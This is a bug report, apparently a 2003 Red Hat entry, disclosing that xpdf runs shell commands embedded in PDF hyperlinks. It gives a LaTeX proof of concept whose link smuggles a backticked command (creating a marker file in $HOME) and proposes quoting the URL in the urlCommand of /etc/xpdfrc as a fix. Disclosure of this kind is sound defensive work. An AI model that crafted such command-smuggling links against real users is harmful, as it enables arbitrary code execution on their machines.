Description of problem:
xpdf can execute shell code in malicious external hyperlinks

Version-Release number of selected component (if applicable):
i assume bug exists in all xpdf versions shipped with rhl releases

How reproducible:
always

pdflatex xpdf-url-run.tex
xpdf 

Steps to Reproduce:
1. pdflatex the file below
----
\documentclass{article}
\usepackage[urlcolor=blue,colorlinks=true,pdfpagemode=none,pdfstartview=FitH]{hyperref}
\begin{document}
\href{test`touch
^^24HOME/generated_through_xpdf`}{\texttt{test}}
\end{document}
----
2. open it with xpdf
3. click the link, the file $HOME/generated_through_xpdf is generated
    
Proposed Fix:
change the xpdf-1.00-redhat.patch to call "htmlview '%s'" as urlCommand (single
quotes added)

also useful as a temporary workaround for system adminstrators (affected file is
/etc/xpdfrc)

Additional Info:
see http://lists.netsys.com/pipermail/full-disclosure/2003-June/010397.html